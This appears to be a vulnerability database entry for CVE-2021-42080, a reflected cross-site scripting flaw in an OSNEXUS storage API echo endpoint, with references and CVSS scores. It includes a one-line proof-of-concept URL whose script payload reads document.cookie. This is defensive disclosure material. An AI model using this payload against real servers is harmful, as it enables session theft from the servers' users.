CVE-2021-42080

high

Description

An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

References

Advisories
More

https://www.wbsec.nl/osnexus

https://csirt.divd.nl/CVE-2021-42080

https://www.osnexus.com/products/software-defined-storage

https://www.divd.nl/DIVD-2021-00020

https://csirt.divd.nl/DIVD-2021-00020/

Details

Source: Mitre, NVD

Published: 2023-07-10

Updated: 2026-06-17

Risk Information

CVSS v2

Base Score: 7.8

Vector: CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N

Severity: High

CVSS v3

Base Score: 7.4

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N